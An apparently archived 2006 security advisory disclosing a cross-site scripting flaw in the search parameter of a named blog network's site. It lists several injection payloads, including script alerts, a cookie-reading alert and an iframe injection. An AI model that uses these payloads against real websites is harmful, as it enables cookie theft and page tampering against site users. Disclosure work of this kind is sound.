No account yet?
Home » HSC Research » Advisories » [HSC] Weblogs Inc Cross-Site Scripting Vulnerability
[HSC] Weblogs Inc Cross-Site Scripting Vulnerability E-mail
HSC Research Group - Advisories
Written by Hackers Center   
Thursday, 28 September 2006 07:51
###############################################################

---------------------------- [HSC] HackersCenter IT Security Research Team ---------------------------

###############################################################

Creating trade weblogs across niche industries in which user participation is an essential component of the resulting product.

"Weblogs Inc XSS Vulnerability"

[Vendor]: www.weblogsinc.com

This vendor has over 30 + sub networking blogs and all of them including the CEO Blog is vul!

XSS URL: http://www.weblogsinc.com/search/?q=[XSS]

Risk: Moderate

"><plaintext>

<script>alert("XSS");</script>

<script>alert(document.cookie);</script>

<script>alert(String.fromCharCode(88,83,83))</script>

>"<iframe src=http://www.Site.com width=815 height=505></script>

- Need Fix? Contact www.securityforge.com
 

Security Services by HSC